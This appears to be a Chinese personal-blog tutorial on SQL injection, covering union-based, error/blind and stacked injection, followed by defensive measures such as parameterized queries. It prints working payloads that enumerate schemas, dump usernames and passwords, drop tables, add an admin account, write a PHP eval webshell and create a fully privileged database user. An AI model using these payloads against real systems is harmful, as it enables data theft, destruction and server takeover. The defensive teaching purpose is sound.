SQL 注入攻防实战:从联合查询注入到堆叠注入的完整利用链

引言

SQL 注入(SQL Injection)长期占据 OWASP Top 10 的显要位置,其核心原因在于:开发者将用户输入直接拼接进 SQL 语句,导致攻击者可以篡改查询逻辑、窃取数据,甚至完全控制数据库服务器。本文将从实战角度出发,系统梳理从联合查询注入到堆叠注入的完整利用链,帮助读者理解攻击者的思维方式,并掌握对应的防御策略。

一、SQL 注入的本质

SQL 注入产生的根本条件是:用户输入被当作 SQL 代码执行,而非单纯的数据。典型场景如下:

$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";

当攻击者传入 1 UNION SELECT username, password FROM users-- 时,原本的数据查询就变成了数据泄露通道。

二、联合查询注入(Union-Based Injection)

2.1 原理

UNION 操作符用于合并两个 SELECT 语句的结果集。攻击者通过构造 UNION 查询,将目标数据“拼接”到正常查询结果中返回。

2.2 利用步骤

第一步:判断注入点与列数

?id=1' ORDER BY 3--    -- 正常
?id=1' ORDER BY 4--    -- 报错,说明共 3 列

第二步:确定回显位置

?id=-1' UNION SELECT 1,2,3--

页面中显示的数字位置即为可回显字段。

第三步:提取数据

?id=-1' UNION SELECT 1,database(),version()--
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--
?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--

2.3 适用条件

  • 页面有回显位;
  • 数据库支持 UNION(MySQL、PostgreSQL、SQL Server 均支持);
  • 前后 SELECT 语句列数一致、类型兼容。

三、报错注入与盲注(过渡阶段)

当页面无回显时,联合查询失效,攻击者转向:

  • 报错注入:利用 extractvalue()updatexml() 等函数将数据带入错误信息中。
  • 布尔盲注:通过 AND 1=1AND 1=2 的页面差异逐字符推断。
  • 时间盲注:利用 IF(condition, SLEEP(5), 0) 观察响应延迟。

这些技术为后续堆叠注入奠定了“无回显也能打”的基础。

四、堆叠注入(Stacked Injection)

4.1 原理

堆叠注入允许在单个数据库连接中执行多条 SQL 语句,语句之间用分号 ; 分隔。例如:

?id=1'; DROP TABLE users-- 

与联合注入不同,堆叠注入不仅能读数据,还能执行任意 SQL 操作:增删改表、调用存储过程、写入文件、甚至提权。

4.2 利用链示例

场景:MySQL + PHP + mysqli_query(支持多语句)

-- 1. 插入管理员账户
?id=1'; INSERT INTO users(username,password,role) VALUES('hacker','md5pass','admin')-- 

-- 2. 写入 WebShell(需 secure_file_priv 为空)
?id=1'; SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'-- 

-- 3. 创建新用户并提权
?id=1'; CREATE USER 'attacker'@'%' IDENTIFIED BY 'pass'; GRANT ALL ON *.* TO 'attacker'@'%'-- 

4.3 与联合注入的关键差异

特性 联合注入 堆叠注入
语句数量 单条 多条
回显依赖 必须 不必须
操作类型 主要读 读写/提权
支持数据库 广泛 MySQL(PHP mysqli)、MSSQL、PostgreSQL
利用难度 中高

4.4 限制条件

  • API 层面:PHP 的 mysqli_query() 默认不支持多语句,但 mysqli_multi_query() 支持;PDO 默认禁用。
  • 数据库权限:写入文件需要 FILE 权限且 secure_file_priv 未限制。
  • WAF 拦截:多数 WAF 会拦截分号与危险关键字。

五、完整利用链总结

信息收集 → 判断注入类型 → 联合查询获取数据
                ↓(无回显)
        报错/盲注推断数据
                ↓(高权限 + 多语句支持)
        堆叠注入 → 写入 WebShell / 提权 / 持久化

攻击者往往按此链路逐级递进:先确认注入点,再选择代价最低的利用方式,最终实现从数据泄露到服务器控制的跨越。

六、防御策略

  1. 参数化查询(预编译):最有效的防御手段,从根本上分离代码与数据。
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$id]);
    
  2. 最小权限原则:Web 应用连接数据库的账户不应具备 FILEDROPGRANT 等高危权限。
  3. 输入验证与白名单:对 ID 等参数强制类型转换,如 intval($id)
  4. WAF 与日志监控:拦截常见注入特征,并对异常 SQL 行为告警。
  5. 关闭危险配置:设置 secure_file_priv、禁用 mysqli_multi_query
  6. 错误信息屏蔽:生产环境不返回详细数据库错误,避免报错注入。

结语

从联合查询注入到堆叠注入,攻击链的每一步都建立在对 SQL 语义与数据库特性的深刻理解之上。防御者只有站在攻击者视角审视代码,才能真正堵住漏洞。参数化查询是基石,最小权限是底线,持续监控是保障——三者结合,才能构建起对抗 SQL 注入的纵深防线。

未经允许不得转载:任鹏个人博客 » SQL 注入攻防实战:从联合查询注入到堆叠注入的完整利用链

赞 (0) 打赏

评论 0

取消
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏